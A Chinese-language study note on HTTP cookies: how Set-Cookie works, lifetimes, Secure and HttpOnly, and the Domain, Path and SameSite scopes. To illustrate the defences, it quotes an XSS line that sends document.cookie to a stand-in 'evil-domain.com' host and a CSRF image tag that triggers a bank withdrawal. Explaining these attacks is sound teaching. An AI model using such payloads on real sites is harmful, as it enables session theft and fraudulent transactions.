# cookies
# cookie是什么
服务器发送到浏览器并保存在本地的一段数据(标记用户身份)
会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器
浏览器的每次请求都会携带cookie数据,带来额外性能开销
使基于无状态的HTTP协议记录状态信息成为了可能
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly; key=value; SameSite=Strict
# 怎么创建cookie
服务器收到HTTP请求时,在响应头添加Set-Cookie选项
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberryNodejs中:
response.setHeader('Set-Cookie', ['foo=bar', 'bar=baz']);
1浏览器将之前保存的cookie信息通过Cookie请求头再发送给服务器
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
# 怎么定义cookie的生命周期
- 会话期:仅在会话期内有效
- 持久性:过期时间Expires或有效期Max-Age
# 怎么限制访问cookie
- Secure属性
- 只会通过被HTTPS协议加密过的请求发送给服务器
- HttpOnly属性
- JS API无法访问带有HttpOnly属性的cookie
- 缓解XSS攻击(跨站脚本): HttpOnly类型的cookie阻止了JS对其的访问
(new Image()).src="http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
1
# cookie的作用域有哪些
- Domain属性:指定了哪些主机可以接收接受cookie
- Domain=mozilla.org
- Path属性:指定了主机下哪些路径可以接收接受cookie
- Path=/docs
- SameSite属性:允许服务器要求某个cookie在跨站请求时不会被发送
- 阻止CSRF(跨站请求伪造攻击)
- None值:浏览器可以在同站+跨站下发送cookie
- Strict值:浏览器只在同站点时发送cookie
- Lax值:浏览器只在同站点时发送cookie,从外部站点导航至URL时除外(通过链接)
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
1
← 状态码 ajax&axios&fetch →